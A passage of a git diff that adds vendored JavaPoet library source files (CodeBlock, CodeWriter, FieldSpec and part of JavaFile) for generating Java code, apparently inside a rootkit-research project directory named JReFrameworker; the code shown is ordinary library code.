  • {@code $N} emits a name, using name collision avoidance where necessary. Arguments + * for names may be strings (actually any {@linkplain CharSequence character sequence}), + * {@linkplain ParameterSpec parameters}, {@linkplain FieldSpec fields}, {@linkplain + * MethodSpec methods}, and {@linkplain TypeSpec types}. + *
  • {@code $S} escapes the value as a string, wraps it with double quotes, and emits + * that. For example, {@code 6" sandwich} is emitted {@code "6\" sandwich"}. + *
  • {@code $T} emits a type reference. Types will be imported if possible. Arguments + * for types may be {@linkplain Class classes}, {@linkplain javax.lang.model.type.TypeMirror +,* type mirrors}, and {@linkplain javax.lang.model.element.Element elements}. + *
  • {@code $$} emits a dollar sign. + *
  • {@code $W} emits a space or a newline, depending on its position on the line. This prefers + * to wrap lines before 100 columns. + *
  • {@code $>} increases the indentation level. + *
  • {@code $<} decreases the indentation level. + *
  • {@code $[} begins a statement. For multiline statements, every line after the first line + * is double-indented. + *
  • {@code $]} ends a statement. + *
+ */ +public final class CodeBlock { + private static final Pattern NAMED_ARGUMENT = + Pattern.compile("\\$(?[\\w_]+):(?[\\w]).*", Pattern.DOTALL); + private static final Pattern LOWERCASE = Pattern.compile("[a-z]+[\\w_]*"); + + /** A heterogeneous list containing string literals and value placeholders. */ + final List formatParts; + final List args; + + private CodeBlock(Builder builder) { + this.formatParts = Util.immutableList(builder.formatParts); + this.args = Util.immutableList(builder.args); + } + + public boolean isEmpty() { + return formatParts.isEmpty(); + } + + @Override public boolean equals(Object o) { + if (this == o) return true; + if (o == null) return false; + if (getClass() != o.getClass()) return false; + return toString().equals(o.toString()); + } + + @Override public int hashCode() { + return toString().hashCode(); + } + + @Override public String toString() { + StringWriter out = new StringWriter(); + try { + new CodeWriter(out).emit(this); + return out.toString(); + } catch (IOException e) { + throw new AssertionError(); + } + } + + public static CodeBlock of(String format, Object... args) { + return new Builder().add(format, args).build(); + } + + public static Builder builder() { + return new Builder(); + } + + public Builder toBuilder() { + Builder builder = new Builder(); + builder.formatParts.addAll(formatParts); + builder.args.addAll(args); + return builder; + } + + public static final class Builder { + final List formatParts = new ArrayList<>(); + final List args = new ArrayList<>(); + + private Builder() { + } + + /** + * Adds code using named arguments. + * + *

Named arguments specify their name after the '$' followed by : and the corresponding type + * character. Argument names consist of characters in {@code a-z, A-Z, 0-9, and _} and must + * start with a lowercase character. + * + *

For example, to refer to the type {@link java.lang.Integer} with the argument name {@code + * clazz} use a format string containing {@code $clazz:T} and include the key {@code clazz} with + * value {@code java.lang.Integer.class} in the argument map. + */ + public Builder addNamed(String format, Map arguments) { + int p = 0; + + for (String argument : arguments.keySet()) { + checkArgument(LOWERCASE.matcher(argument).matches(), + "argument '%s' must start with a lowercase character", argument); + } + + while (p < format.length()) { + int nextP = format.indexOf("$", p); + if (nextP == -1) { + formatParts.add(format.substring(p, format.length())); + break; + } + + if (p != nextP) { + formatParts.add(format.substring(p, nextP)); + p = nextP; + } + Matcher matcher = NAMED_ARGUMENT.matcher(format.subSequence(p, format.length())); + if (matcher.matches()) { + String argumentName = matcher.group("argumentName"); + checkArgument(arguments.containsKey(argumentName), "Missing named argument for $%s", + argumentName); + char formatChar = matcher.group("typeChar").charAt(0); + addArgument(format, formatChar, arguments.get(argumentName)); + formatParts.add("$" + formatChar); + p += matcher.regionStart() + argumentName.length() + 3; + } else { + checkArgument(p < format.length() - 1, "dangling $ at end"); + checkArgument(isNoArgPlaceholder(format.charAt(p + 1)), + "unknown format $%s at %s in '%s'", format.charAt(p + 1), p + 1, format); + formatParts.add(format.substring(p, p + 2)); + p += 2; + } + } + + return this; + } + + /** + * Add code with positional or relative arguments. + * + *

Relative arguments map 1:1 with the placeholders in the format string. + * + *

Positional arguments use an index after the placeholder to identify which argument index + * to use. For example, for a literal to reference the 3rd argument: "$3L" (1 based index) + * + *

Mixing relative and positional arguments in a call to add is invalid and will result in an + * error. + */ + public Builder add(String format, Object... args) { + boolean hasRelative = false; + boolean hasIndexed = false; + + int relativeParameterCount = 0; + int[] indexedParameterCount = new int[args.length]; + + for (int p = 0; p < format.length(); ) { + if (format.charAt(p) != '$') { + int nextP = format.indexOf('$', p + 1); + if (nextP == -1) nextP = format.length(); + formatParts.add(format.substring(p, nextP)); + p = nextP; + continue; + } + + p++; // '$'. + + // Consume zero or more digits, leaving 'c' as the first non-digit char after the '$'. + int indexStart = p; + char c; + do { + checkArgument(p < format.length(), "dangling format characters in '%s'", format); + c = format.charAt(p++); + } while (c >= '0' && c <= '9'); + int indexEnd = p - 1; + + // If 'c' doesn't take an argument, we're done. + if (isNoArgPlaceholder(c)) { + checkArgument(indexStart == indexEnd, "$$, $>, $<, $[, $], and $W may not have an index"); + formatParts.add("$" + c); + continue; + } + + // Find either the indexed argument, or the relative argument. (0-based). + int index; + if (indexStart < indexEnd) { + index = Integer.parseInt(format.substring(indexStart, indexEnd)) - 1; + hasIndexed = true; + indexedParameterCount[index % args.length]++; // modulo is needed, checked below anyway + } else { + index = relativeParameterCount; + hasRelative = true; + relativeParameterCount++; + } + + checkArgument(index >= 0 && index < args.length, + "index %d for '%s' not in range (received %s arguments)", + index + 1, format.substring(indexStart - 1, indexEnd + 1), args.length); + checkArgument(!hasIndexed || !hasRelative, "cannot mix indexed and positional parameters"); + + addArgument(format, c, args[index]); + + formatParts.add("$" + c); + } + + if (hasRelative) { + checkArgument(relativeParameterCount >= args.length, + "unused arguments: expected %s, received %s", relativeParameterCount, args.length); + } + if (hasIndexed) { + List unused = new ArrayList<>(); + for (int i = 0; i < args.length; i++) { + if (indexedParameterCount[i] == 0) { + unused.add("$" + (i + 1)); + } + } + String s = unused.size() == 1 ? "" : "s"; + checkArgument(unused.isEmpty(), "unused argument%s: %s", s, Util.join(", ", unused)); + } + return this; + } + + private boolean isNoArgPlaceholder(char c) { + return c == '$' || c == '>' || c == '<' || c == '[' || c == ']' || c == 'W'; + } + + private void addArgument(String format, char c, Object arg) { + switch (c) { + case 'N': + this.args.add(argToName(arg)); + break; + case 'L': + this.args.add(argToLiteral(arg)); + break; + case 'S': + this.args.add(argToString(arg)); + break; + case 'T': + this.args.add(argToType(arg)); + break; + default: + throw new IllegalArgumentException( + String.format("invalid format string: '%s'", format)); + } + } + + private String argToName(Object o) { + if (o instanceof CharSequence) return o.toString(); + if (o instanceof ParameterSpec) return ((ParameterSpec) o).name; + if (o instanceof FieldSpec) return ((FieldSpec) o).name; + if (o instanceof MethodSpec) return ((MethodSpec) o).name; + if (o instanceof TypeSpec) return ((TypeSpec) o).name; + throw new IllegalArgumentException("expected name but was " + o); + } + + private Object argToLiteral(Object o) { + return o; + } + + private String argToString(Object o) { + return o != null ? String.valueOf(o) : null; + } + + private TypeName argToType(Object o) { + if (o instanceof TypeName) return (TypeName) o; + if (o instanceof TypeMirror) return TypeName.get((TypeMirror) o); + if (o instanceof Element) return TypeName.get(((Element) o).asType()); + if (o instanceof Type) return TypeName.get((Type) o); + throw new IllegalArgumentException("expected type but was " + o); + } + + /** + * @param controlFlow the control flow construct and its code, such as "if (foo == 5)". + * Shouldn't contain braces or newline characters. + */ + public Builder beginControlFlow(String controlFlow, Object... args) { + add(controlFlow + " {\n", args); + indent(); + return this; + } + + /** + * @param controlFlow the control flow construct and its code, such as "else if (foo == 10)". + * Shouldn't contain braces or newline characters. + */ + public Builder nextControlFlow(String controlFlow, Object... args) { + unindent(); + add("} " + controlFlow + " {\n", args); + indent(); + return this; + } + + public Builder endControlFlow() { + unindent(); + add("}\n"); + return this; + } + + /** + * @param controlFlow the optional control flow construct and its code, such as + * "while(foo == 20)". Only used for "do/while" control flows. + */ + public Builder endControlFlow(String controlFlow, Object... args) { + unindent(); + add("} " + controlFlow + ";\n", args); + return this; + } + + public Builder addStatement(String format, Object... args) { + add("$["); + add(format, args); + add(";\n$]"); + return this; + } + + public Builder add(CodeBlock codeBlock) { + formatParts.addAll(codeBlock.formatParts); + args.addAll(codeBlock.args); + return this; + } + + public Builder indent() { + this.formatParts.add("$>"); + return this; + } + + public Builder unindent() { + this.formatParts.add("$<"); + return this; + } + + public CodeBlock build() { + return new CodeBlock(this); + } + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/CodeWriter.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/CodeWriter.java new file mode 100644 index 0000000..4534636 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/CodeWriter.java @@ -0,0 +1,497 @@ +/* + * Copyright (C) 2015 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static com.squareup.javapoet.Util.checkArgument; +import static com.squareup.javapoet.Util.checkNotNull; +import static com.squareup.javapoet.Util.checkState; +import static com.squareup.javapoet.Util.join; +import static com.squareup.javapoet.Util.stringLiteralWithDoubleQuotes; + +import java.io.IOException; +import java.util.ArrayList; +import java.util.Collections; +import java.util.EnumSet; +import java.util.LinkedHashMap; +import java.util.LinkedHashSet; +import java.util.List; +import java.util.ListIterator; +import java.util.Locale; +import java.util.Map; +import java.util.Objects; +import java.util.Set; + +import javax.lang.model.SourceVersion; +import javax.lang.model.element.Modifier; + +/** + * Converts a {@link JavaFile} to a string suitable to both human- and javac-consumption. This + * honors imports, indentation, and deferred variable names. + */ +final class CodeWriter { + /** Sentinel value that indicates that no user-provided package has been set. */ + private static final String NO_PACKAGE = new String(); + + private final String indent; + private final LineWrapper out; + private int indentLevel; + + private boolean javadoc = false; + private boolean comment = false; + private String packageName = NO_PACKAGE; + private final List typeSpecStack = new ArrayList<>(); + private final Set staticImportClassNames; + private final Set staticImports; + private final Map importedTypes; + private final Map importableTypes = new LinkedHashMap<>(); + private final Set referencedNames = new LinkedHashSet<>(); + private boolean trailingNewline; + + /** + * When emitting a statement, this is the line of the statement currently being written. The first + * line of a statement is indented normally and subsequent wrapped lines are double-indented. This + * is -1 when the currently-written line isn't part of a statement. + */ + int statementLine = -1; + + CodeWriter(Appendable out) { + this(out, " ", Collections.emptySet()); + } + + CodeWriter(Appendable out, String indent, Set staticImports) { + this(out, indent, Collections.emptyMap(), staticImports); + } + + CodeWriter(Appendable out, String indent, Map importedTypes, + Set staticImports) { + this.out = new LineWrapper(out, indent, 100); + this.indent = checkNotNull(indent, "indent == null"); + this.importedTypes = checkNotNull(importedTypes, "importedTypes == null"); + this.staticImports = checkNotNull(staticImports, "staticImports == null"); + this.staticImportClassNames = new LinkedHashSet<>(); + for (String signature : staticImports) { + staticImportClassNames.add(signature.substring(0, signature.lastIndexOf('.'))); + } + } + + public Map importedTypes() { + return importedTypes; + } + + public CodeWriter indent() { + return indent(1); + } + + public CodeWriter indent(int levels) { + indentLevel += levels; + return this; + } + + public CodeWriter unindent() { + return unindent(1); + } + + public CodeWriter unindent(int levels) { + checkArgument(indentLevel - levels >= 0, "cannot unindent %s from %s", levels, indentLevel); + indentLevel -= levels; + return this; + } + + public CodeWriter pushPackage(String packageName) { + checkState(this.packageName == NO_PACKAGE, "package already set: %s", this.packageName); + this.packageName = checkNotNull(packageName, "packageName == null"); + return this; + } + + public CodeWriter popPackage() { + checkState(this.packageName != NO_PACKAGE, "package already set: %s", this.packageName); + this.packageName = NO_PACKAGE; + return this; + } + + public CodeWriter pushType(TypeSpec type) { + this.typeSpecStack.add(type); + return this; + } + + public CodeWriter popType() { + this.typeSpecStack.remove(typeSpecStack.size() - 1); + return this; + } + + public void emitComment(CodeBlock codeBlock) throws IOException { + trailingNewline = true; // Force the '//' prefix for the comment. + comment = true; + try { + emit(codeBlock); + emit("\n"); + } finally { + comment = false; + } + } + + public void emitJavadoc(CodeBlock javadocCodeBlock) throws IOException { + if (javadocCodeBlock.isEmpty()) return; + + emit("/**\n"); + javadoc = true; + try { + emit(javadocCodeBlock); + } finally { + javadoc = false; + } + emit(" */\n"); + } + + public void emitAnnotations(List annotations, boolean inline) throws IOException { + for (AnnotationSpec annotationSpec : annotations) { + annotationSpec.emit(this, inline); + emit(inline ? " " : "\n"); + } + } + + /** + * Emits {@code modifiers} in the standard order. Modifiers in {@code implicitModifiers} will not + * be emitted. + */ + public void emitModifiers(Set modifiers, Set implicitModifiers) + throws IOException { + if (modifiers.isEmpty()) return; + for (Modifier modifier : EnumSet.copyOf(modifiers)) { + if (implicitModifiers.contains(modifier)) continue; + emitAndIndent(modifier.name().toLowerCase(Locale.US)); + emitAndIndent(" "); + } + } + + public void emitModifiers(Set modifiers) throws IOException { + emitModifiers(modifiers, Collections.emptySet()); + } + + /** + * Emit type variables with their bounds. This should only be used when declaring type variables; + * everywhere else bounds are omitted. + */ + public void emitTypeVariables(List typeVariables) throws IOException { + if (typeVariables.isEmpty()) return; + + emit("<"); + boolean firstTypeVariable = true; + for (TypeVariableName typeVariable : typeVariables) { + if (!firstTypeVariable) emit(", "); + emit("$L", typeVariable.name); + boolean firstBound = true; + for (TypeName bound : typeVariable.bounds) { + emit(firstBound ? " extends $T" : " & $T", bound); + firstBound = false; + } + firstTypeVariable = false; + } + emit(">"); + } + + public CodeWriter emit(String s) throws IOException { + return emitAndIndent(s); + } + + public CodeWriter emit(String format, Object... args) throws IOException { + return emit(CodeBlock.of(format, args)); + } + + public CodeWriter emit(CodeBlock codeBlock) throws IOException { + int a = 0; + ClassName deferredTypeName = null; // used by "import static" logic + ListIterator partIterator = codeBlock.formatParts.listIterator(); + while (partIterator.hasNext()) { + String part = partIterator.next(); + switch (part) { + case "$L": + emitLiteral(codeBlock.args.get(a++)); + break; + + case "$N": + emitAndIndent((String) codeBlock.args.get(a++)); + break; + + case "$S": + String string = (String) codeBlock.args.get(a++); + // Emit null as a literal null: no quotes. + emitAndIndent(string != null + ? stringLiteralWithDoubleQuotes(string, indent) + : "null"); + break; + + case "$T": + TypeName typeName = (TypeName) codeBlock.args.get(a++); + if (typeName.isAnnotated()) { + typeName.emitAnnotations(this); + typeName = typeName.withoutAnnotations(); + } + // defer "typeName.emit(this)" if next format part will be handled by the default case + if (typeName instanceof ClassName && partIterator.hasNext()) { + if (!codeBlock.formatParts.get(partIterator.nextIndex()).startsWith("$")) { + ClassName candidate = (ClassName) typeName; + if (staticImportClassNames.contains(candidate.canonicalName)) { + checkState(deferredTypeName == null, "pending type for static import?!"); + deferredTypeName = candidate; + break; + } + } + } + typeName.emit(this); + break; + + case "$$": + emitAndIndent("$"); + break; + + case "$>": + indent(); + break; + + case "$<": + unindent(); + break; + + case "$[": + checkState(statementLine == -1, "statement enter $[ followed by statement enter $["); + statementLine = 0; + break; + + case "$]": + checkState(statementLine != -1, "statement exit $] has no matching statement enter $["); + if (statementLine > 0) { + unindent(2); // End a multi-line statement. Decrease the indentation level. + } + statementLine = -1; + break; + + case "$W": + out.wrappingSpace(indentLevel + 2); + break; + + default: + // handle deferred type + if (deferredTypeName != null) { + if (part.startsWith(".")) { + if (emitStaticImportMember(deferredTypeName.canonicalName, part)) { + // okay, static import hit and all was emitted, so clean-up and jump to next part + deferredTypeName = null; + break; + } + } + deferredTypeName.emit(this); + deferredTypeName = null; + } + emitAndIndent(part); + break; + } + } + return this; + } + + public CodeWriter emitWrappingSpace() throws IOException { + out.wrappingSpace(indentLevel + 2); + return this; + } + + private static String extractMemberName(String part) { + checkArgument(Character.isJavaIdentifierStart(part.charAt(0)), "not an identifier: %s", part); + for (int i = 1; i <= part.length(); i++) { + if (!SourceVersion.isIdentifier(part.substring(0, i))) { + return part.substring(0, i - 1); + } + } + return part; + } + + private boolean emitStaticImportMember(String canonical, String part) throws IOException { + String partWithoutLeadingDot = part.substring(1); + if (partWithoutLeadingDot.isEmpty()) return false; + char first = partWithoutLeadingDot.charAt(0); + if (!Character.isJavaIdentifierStart(first)) return false; + String explicit = canonical + "." + extractMemberName(partWithoutLeadingDot); + String wildcard = canonical + ".*"; + if (staticImports.contains(explicit) || staticImports.contains(wildcard)) { + emitAndIndent(partWithoutLeadingDot); + return true; + } + return false; + } + + private void emitLiteral(Object o) throws IOException { + if (o instanceof TypeSpec) { + TypeSpec typeSpec = (TypeSpec) o; + typeSpec.emit(this, null, Collections.emptySet()); + } else if (o instanceof AnnotationSpec) { + AnnotationSpec annotationSpec = (AnnotationSpec) o; + annotationSpec.emit(this, true); + } else if (o instanceof CodeBlock) { + CodeBlock codeBlock = (CodeBlock) o; + emit(codeBlock); + } else { + emitAndIndent(String.valueOf(o)); + } + } + + /** + * Returns the best name to identify {@code className} with in the current context. This uses the + * available imports and the current scope to find the shortest name available. It does not honor + * names visible due to inheritance. + */ + String lookupName(ClassName className) { + // Find the shortest suffix of className that resolves to className. This uses both local type + // names (so `Entry` in `Map` refers to `Map.Entry`). Also uses imports. + boolean nameResolved = false; + for (ClassName c = className; c != null; c = c.enclosingClassName()) { + ClassName resolved = resolve(c.simpleName()); + nameResolved = resolved != null; + + if (Objects.equals(resolved, c)) { + int suffixOffset = c.simpleNames().size() - 1; + return join(".", className.simpleNames().subList( + suffixOffset, className.simpleNames().size())); + } + } + + // If the name resolved but wasn't a match, we're stuck with the fully qualified name. + if (nameResolved) { + return className.canonicalName; + } + + // If the class is in the same package, we're done. + if (Objects.equals(packageName, className.packageName())) { + referencedNames.add(className.topLevelClassName().simpleName()); + return join(".", className.simpleNames()); + } + + // We'll have to use the fully-qualified name. Mark the type as importable for a future pass. + if (!javadoc) { + importableType(className); + } + + return className.canonicalName; + } + + private void importableType(ClassName className) { + if (className.packageName().isEmpty()) { + return; + } + ClassName topLevelClassName = className.topLevelClassName(); + String simpleName = topLevelClassName.simpleName(); + ClassName replaced = importableTypes.put(simpleName, topLevelClassName); + if (replaced != null) { + importableTypes.put(simpleName, replaced); // On collision, prefer the first inserted. + } + } + + /** + * Returns the class referenced by {@code simpleName}, using the current nesting context and + * imports. + */ + // TODO(jwilson): also honor superclass members when resolving names. + private ClassName resolve(String simpleName) { + // Match a child of the current (potentially nested) class. + for (int i = typeSpecStack.size() - 1; i >= 0; i--) { + TypeSpec typeSpec = typeSpecStack.get(i); + for (TypeSpec visibleChild : typeSpec.typeSpecs) { + if (Objects.equals(visibleChild.name, simpleName)) { + return stackClassName(i, simpleName); + } + } + } + + // Match the top-level class. + if (typeSpecStack.size() > 0 && Objects.equals(typeSpecStack.get(0).name, simpleName)) { + return ClassName.get(packageName, simpleName); + } + + // Match an imported type. + ClassName importedType = importedTypes.get(simpleName); + if (importedType != null) return importedType; + + // No match. + return null; + } + + /** Returns the class named {@code simpleName} when nested in the class at {@code stackDepth}. */ + private ClassName stackClassName(int stackDepth, String simpleName) { + ClassName className = ClassName.get(packageName, typeSpecStack.get(0).name); + for (int i = 1; i <= stackDepth; i++) { + className = className.nestedClass(typeSpecStack.get(i).name); + } + return className.nestedClass(simpleName); + } + + /** + * Emits {@code s} with indentation as required. It's important that all code that writes to + * {@link #out} does it through here, since we emit indentation lazily in order to avoid + * unnecessary trailing whitespace. + */ + CodeWriter emitAndIndent(String s) throws IOException { + boolean first = true; + for (String line : s.split("\n", -1)) { + // Emit a newline character. Make sure blank lines in Javadoc & comments look good. + if (!first) { + if ((javadoc || comment) && trailingNewline) { + emitIndentation(); + out.append(javadoc ? " *" : "//"); + } + out.append("\n"); + trailingNewline = true; + if (statementLine != -1) { + if (statementLine == 0) { + indent(2); // Begin multiple-line statement. Increase the indentation level. + } + statementLine++; + } + } + + first = false; + if (line.isEmpty()) continue; // Don't indent empty lines. + + // Emit indentation and comment prefix if necessary. + if (trailingNewline) { + emitIndentation(); + if (javadoc) { + out.append(" * "); + } else if (comment) { + out.append("// "); + } + } + + out.append(line); + trailingNewline = false; + } + return this; + } + + private void emitIndentation() throws IOException { + for (int j = 0; j < indentLevel; j++) { + out.append(indent); + } + } + + /** + * Returns the types that should have been imported for this code. If there were any simple name + * collisions, that type's first use is imported. + */ + Map suggestedImports() { + Map result = new LinkedHashMap<>(importableTypes); + result.keySet().removeAll(referencedNames); + return result; + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/FieldSpec.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/FieldSpec.java new file mode 100644 index 0000000..d0f81b5 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/FieldSpec.java @@ -0,0 +1,176 @@ +/* + * Copyright (C) 2015 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static com.squareup.javapoet.Util.checkArgument; +import static com.squareup.javapoet.Util.checkNotNull; +import static com.squareup.javapoet.Util.checkState; + +import java.io.IOException; +import java.io.StringWriter; +import java.lang.reflect.Type; +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.Set; + +import javax.lang.model.SourceVersion; +import javax.lang.model.element.Modifier; + +/** A generated field declaration. */ +public final class FieldSpec { + public final TypeName type; + public final String name; + public final CodeBlock javadoc; + public final List annotations; + public final Set modifiers; + public final CodeBlock initializer; + + private FieldSpec(Builder builder) { + this.type = checkNotNull(builder.type, "type == null"); + this.name = checkNotNull(builder.name, "name == null"); + this.javadoc = builder.javadoc.build(); + this.annotations = Util.immutableList(builder.annotations); + this.modifiers = Util.immutableSet(builder.modifiers); + this.initializer = (builder.initializer == null) + ? CodeBlock.builder().build() + : builder.initializer; + } + + public boolean hasModifier(Modifier modifier) { + return modifiers.contains(modifier); + } + + void emit(CodeWriter codeWriter, Set implicitModifiers) throws IOException { + codeWriter.emitJavadoc(javadoc); + codeWriter.emitAnnotations(annotations, false); + codeWriter.emitModifiers(modifiers, implicitModifiers); + codeWriter.emit("$T $L", type, name); + if (!initializer.isEmpty()) { + codeWriter.emit(" = "); + codeWriter.emit(initializer); + } + codeWriter.emit(";\n"); + } + + @Override public boolean equals(Object o) { + if (this == o) return true; + if (o == null) return false; + if (getClass() != o.getClass()) return false; + return toString().equals(o.toString()); + } + + @Override public int hashCode() { + return toString().hashCode(); + } + + @Override public String toString() { + StringWriter out = new StringWriter(); + try { + CodeWriter codeWriter = new CodeWriter(out); + emit(codeWriter, Collections.emptySet()); + return out.toString(); + } catch (IOException e) { + throw new AssertionError(); + } + } + + public static Builder builder(TypeName type, String name, Modifier... modifiers) { + checkNotNull(type, "type == null"); + checkArgument(SourceVersion.isName(name), "not a valid name: %s", name); + return new Builder(type, name) + .addModifiers(modifiers); + } + + public static Builder builder(Type type, String name, Modifier... modifiers) { + return builder(TypeName.get(type), name, modifiers); + } + + public Builder toBuilder() { + Builder builder = new Builder(type, name); + builder.javadoc.add(javadoc); + builder.annotations.addAll(annotations); + builder.modifiers.addAll(modifiers); + builder.initializer = initializer.isEmpty() ? null : initializer; + return builder; + } + + public static final class Builder { + private final TypeName type; + private final String name; + + private final CodeBlock.Builder javadoc = CodeBlock.builder(); + private final List annotations = new ArrayList<>(); + private final List modifiers = new ArrayList<>(); + private CodeBlock initializer = null; + + private Builder(TypeName type, String name) { + this.type = type; + this.name = name; + } + + public Builder addJavadoc(String format, Object... args) { + javadoc.add(format, args); + return this; + } + + public Builder addJavadoc(CodeBlock block) { + javadoc.add(block); + return this; + } + + public Builder addAnnotations(Iterable annotationSpecs) { + checkArgument(annotationSpecs != null, "annotationSpecs == null"); + for (AnnotationSpec annotationSpec : annotationSpecs) { + this.annotations.add(annotationSpec); + } + return this; + } + + public Builder addAnnotation(AnnotationSpec annotationSpec) { + this.annotations.add(annotationSpec); + return this; + } + + public Builder addAnnotation(ClassName annotation) { + this.annotations.add(AnnotationSpec.builder(annotation).build()); + return this; + } + + public Builder addAnnotation(Class annotation) { + return addAnnotation(ClassName.get(annotation)); + } + + public Builder addModifiers(Modifier... modifiers) { + Collections.addAll(this.modifiers, modifiers); + return this; + } + + public Builder initializer(String format, Object... args) { + return initializer(CodeBlock.of(format, args)); + } + + public Builder initializer(CodeBlock codeBlock) { + checkState(this.initializer == null, "initializer was already set"); + this.initializer = checkNotNull(codeBlock, "codeBlock == null"); + return this; + } + + public FieldSpec build() { + return new FieldSpec(this); + } + } +} diff --git a/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/JavaFile.java b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/JavaFile.java new file mode 100644 index 0000000..13a87b1 --- /dev/null +++ b/Cross Platform/Rootkits/JReFrameworker/plugin/com.squareup.javapoet/src/com/squareup/javapoet/JavaFile.java @@ -0,0 +1,276 @@ +/* + * Copyright (C) 2015 Square, Inc. + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package com.squareup.javapoet; + +import static com.squareup.javapoet.Util.checkArgument; +import static com.squareup.javapoet.Util.checkNotNull; +import static java.nio.charset.StandardCharsets.UTF_8; + +import java.io.ByteArrayInputStream; +import java.io.File; +import java.io.IOException; +import java.io.InputStream; +import java.io.OutputStreamWriter; +import java.io.Writer; +import java.net.URI; +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.Arrays; +import java.util.Collections; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.TreeSet; + +import javax.annotation.processing.Filer; +import javax.lang.model.element.Element; +import javax.lang.model.element.Modifier; +import javax.tools.JavaFileObject; +import javax.tools.JavaFileObject.Kind; +import javax.tools.SimpleJavaFileObject; + +/** A Java file containing a single top level class. */ +public final class JavaFile { + private static final Appendable NULL_APPENDABLE = new Appendable() { + @Override public Appendable append(CharSequence charSequence) { + return this; + } + @Override public Appendable append(CharSequence charSequence, int start, int end) { + return this; + } + @Override public Appendable append(char c) { + return this; + } + }; + + public final CodeBlock fileComment; + public final String packageName; + public final TypeSpec typeSpec; + public final boolean skipJavaLangImports; + private final Set staticImports; + private final String indent; + + private JavaFile(Builder builder) { + this.fileComment = builder.fileComment.build(); + this.packageName = builder.packageName; + this.typeSpec = builder.typeSpec; + this.skipJavaLangImports = builder.skipJavaLangImports; + this.staticImports = Util.immutableSet(builder.staticImports); + this.indent = builder.indent; + } + + public void writeTo(Appendable out) throws IOException { + // First pass: emit the entire class, just to collect the types we'll need to import. + CodeWriter importsCollector = new CodeWriter(NULL_APPENDABLE, indent, staticImports); + emit(importsCollector); + Map suggestedImports = importsCollector.suggestedImports(); + + // Second pass: write the code, taking advantage of the imports. + CodeWriter codeWriter = new CodeWriter(out, indent, suggestedImports, staticImports); + emit(codeWriter); + } + + /** Writes this to {@code directory} as UTF-8 using the standard directory structure. */ + public void writeTo(Path directory) throws IOException { + checkArgument(Files.notExists(directory) || Files.isDirectory(directory), + "path %s exists but is not a directory.", directory); + Path outputDirectory = directory; + if (!packageName.isEmpty()) { + for (String packageComponent : packageName.split("\\.")) { + outputDirectory = outputDirectory.resolve(packageComponent); + } + Files.createDirectories(outputDirectory); + } + + Path outputPath = outputDirectory.resolve(typeSpec.name + ".java"); + try (Writer writer = new OutputStreamWriter(Files.newOutputStream(outputPath), UTF_8)) { + writeTo(writer); + } + } + + /** Writes this to {@code directory} as UTF-8 using the standard directory structure. */ + public void writeTo(File directory) throws IOException { + writeTo(directory.toPath()); + } + + /** Writes this to {@code filer}. */ + public void writeTo(Filer filer) throws IOException { + String fileName = packageName.isEmpty() + ? typeSpec.name + : packageName + "." + typeSpec.name; + List originatingElements = typeSpec.originatingElements; + JavaFileObject filerSourceFile = filer.createSourceFile(fileName, + originatingElements.toArray(new Element[originatingElements.size()])); + try (Writer writer = filerSourceFile.openWriter()) { + writeTo(writer); + } catch (Exception e) { + try { + filerSourceFile.delete(); + } catch (Exception ignored) { + } + throw e; + } + } + + private void emit(CodeWriter codeWriter) throws IOException { + codeWriter.pushPackage(packageName); + + if (!fileComment.isEmpty()) { + codeWriter.emitComment(fileComment); + } + + if (!packageName.isEmpty()) { + codeWriter.emit("package $L;\n", packageName); + codeWriter.emit("\n"); + } + + if (!staticImports.isEmpty()) { + for (String signature : staticImports) { + codeWriter.emit("import static $L;\n", signature); + } + codeWriter.emit("\n"); + } + + int importedTypesCount = 0; + for (ClassName className : new TreeSet<>(codeWriter.importedTypes().values())) { + if (skipJavaLangImports && className.packageName().equals("java.lang")) continue; + codeWriter.emit("import $L;\n", className); + importedTypesCount++; + } + + if (importedTypesCount > 0) { + codeWriter.emit("\n"); + } + + typeSpec.emit(codeWriter, null, Collections.emptySet()); + + codeWriter.popPackage(); + } + + @Override public boolean equals(Object o) { + if (this == o) return true; + if (o == null) return false; + if (getClass() != o.getClass()) return false; + return toString().equals(o.toString()); + } + + @Override public int hashCode() { + return toString().hashCode(); + } + + @Override public String toString() { + try { + StringBuilder result = new StringBuilder(); + writeTo(result); + return result.toString(); + } catch (IOException e) { + throw new AssertionError(); + } + } + + public JavaFileObject toJavaFileObject() { + URI 